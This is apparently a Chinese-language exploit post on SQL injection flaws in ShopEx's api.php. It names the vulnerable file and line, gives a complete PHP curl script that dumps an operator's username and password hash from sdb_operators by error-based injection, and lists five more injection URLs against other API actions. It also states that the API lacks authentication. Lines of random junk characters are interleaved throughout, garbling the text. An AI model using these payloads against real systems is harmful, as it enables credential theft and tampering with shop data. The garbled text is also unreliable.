|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php; U2 |* f) m- _, I5 f; U
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
3 B! k( y9 J+ @' p0 y2 H% I
3 A2 [) N% r) Y6 V# {( c+ w6 e' \第44行 $data['columns'] 未做过滤导致注入
$ Z+ B- T5 l" Z2 ], g, A0 n0 }2 T0 d ]6 ?
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
+ @7 u1 x+ C& l) `+ ]
6 S- Y, V* m& ?$ k9 i$ z5 c6 I注射1:# `) l) h Z1 ~+ d; e& h' F
( o# Y( X$ b% w# Y$ Mhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
* W! D: E6 S2 `0 S- O7 y9 h+ N
; {/ o: u- s& t/ b+ `1 p注射2:
8 r* x8 m/ J* k9 ehttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
1 k5 E6 d! | A+ V; J$ N& T
. H% {1 `# E0 k& ~( e注射3:
* M/ ~0 m1 F( W# @2 o% i# { http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx8 X% y1 i7 Y) B2 s
注射4:
7 X2 h, M Q1 S& e. H! c6 j! i
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1# b5 U. X+ k1 ^1 i1 I
# T: n) r. {) S, \( }+ `6 o2 e
2 a+ {. ?: @& @6 O7 p1 z+ E
注射5:
4 u( n& m, x+ \& E http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx# T0 U/ u; L; D3 M4 ?' Z
; z' I* l8 [; J# R/ U
, {+ u( u s' o& P5 V/ l
" |8 a* g9 u! j% A' o( c! ^
' ^# p% P& \" X V" Z9 H3 I, J p. r; _0 v2 \# U
0 d) [9 b4 J* l: r# ~) }% l |
|